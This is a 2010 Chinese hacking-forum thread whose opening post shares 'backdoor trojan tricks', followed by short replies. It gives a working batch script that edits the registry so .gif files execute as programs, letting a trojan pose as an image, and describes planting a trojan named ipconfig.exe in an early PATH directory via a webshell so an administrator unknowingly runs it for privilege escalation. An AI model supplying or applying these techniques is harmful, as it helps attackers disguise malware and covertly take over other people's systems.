公开后门木马小技巧

社区服务
高级搜索
猴岛论坛电脑百科公开后门木马小技巧
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
11个回复

公开后门木马小技巧

楼层直达
繁华de都市

ZxID:2491893

等级: 贵宾

举报 只看楼主 使用道具 楼主   发表于: 2010-04-14 0
任意文件当做木马来运行
你见过gif、jpg、jpeg、bmp等后缀文件当做木马来运行吗?一个小技巧可以把任意后缀文件当做EXE程序文件来运行。

更改exe为gif:
@echo off
color 1A
ECHO Windows Registry Editor Version 5.00>gif.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg
ECHO "Content Type"="application/x-msdownload">>gif.reg
ECHO @="exefile">>gif.reg
regedit /s gif.reg>nul 2>nul
del /s gif.reg>nul 2>nul

这个代码保存成.BAT的文件。
先运行这个BAT文件系统会把.GIF文件来当做应用程序来运行
当然我们的木马后缀要换成.GIF 的,嘻嘻。


恢复gif默认:
@echo off
color 1A
ECHO Windows Registry Editor Version 5.00>gif.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg
ECHO "Content Type"="image/gif">>gif.reg
ECHO @="giffile">>gif.reg
regedit /s gif.reg>nul 2>nul
del /s gif.reg>nul 2>nul

这个代码保存成.BAT的文件。
大家可以发挥想象,有很多可以利用的地方。
环境变量的利用。有时候我们在webshell下查看系统变量的时候总能得到一些惊喜,比如系统默认的是Path这个环境变量的值是:%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;假如系统装过php的话,那么它的环境变量可能是c:\php\;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;那么我们就有机可乘了,因为它的顺序在系统默认的路径前面。那么按照优先级,如果我们执行ipconfig的话,它会先去c:\php这个目录去查找是否存在ipconfig.exe这个文件。如果文件存在,那么它就会先执行c:\php这个目录下的ipconfig.exe文件。所以我们就可以上传一个我们的木马,改名为ipconfig.exe,上传到c:\php目录下,那么当管理员在命令行下运行ipconfig的时候,系统就会执行我们在c:\php下的木马文件。这样我们也可以获得系统权限。而且相当隐蔽,一般不容易被发现。这也不为是一种提权的好办法。

书山有路勤为径 学海无涯苦作舟
洅見、尛时候

ZxID:5221094

等级: 准尉
莪曾用資料編制ㄋ一個吥苛螚

举报 只看该作者 沙发   发表于: 2010-04-14 0
不懂啊- -
弄个教程最好了
朕。只囿美色

ZxID:9836487

等级: 元老
年年岁岁人相似,岁岁年年花相同

举报 只看该作者 板凳   发表于: 2010-04-14 0
这个。。
貌似在那里看过
Gyˊ覑頭曲

ZxID:10157252

等级: 少尉
卫盾游戏助手

举报 只看该作者 地板   发表于: 2010-04-14 0
这个别去干坏事哦
极炫ャ黑羽

ZxID:5710314

等级: 中将
http://www.qqbye.com/gif/Uploa
举报 只看该作者 4楼  发表于: 2010-04-14 0
哈        那这个有什么作用啊
@深情不及久伴

ZxID:10470282

等级: 贵宾
夏天的爱情。

举报 只看该作者 5楼  发表于: 2010-04-14 0
  不错``
迷恋那片、唇

ZxID:11583841

等级: 少将
现在的社会,除了人,什么都贵。

举报 只看该作者 6楼  发表于: 2010-04-14 0
卜错 
社会工程学

ZxID:11644013

等级: 少将
不要跟我谈技术,怕你不够档次.

举报 只看该作者 7楼  发表于: 2010-04-14 0
  路过
神秘组织,关注网络信息安全
黑色主流

ZxID:11808676

等级: 列兵
举报 只看该作者 8楼  发表于: 2010-04-22 0
弄个教程最好
〆 ˉ 壞壊

ZxID:9778602

等级: 大将
我爱你

举报 只看该作者 9楼  发表于: 2010-04-22 0
不错怕
没有人会记得我,潜水是我唯一的选择
叶晏

ZxID:11457617

等级: 元老
举报 只看该作者 10楼  发表于: 2010-04-22 0
xp可用吗,为什么我这不行,求解  
亲爱哒zZz

ZxID:11790998

等级: 上等兵
举报 只看该作者 11楼  发表于: 2010-04-22 0
路过。。
« 返回列表
发帖 回复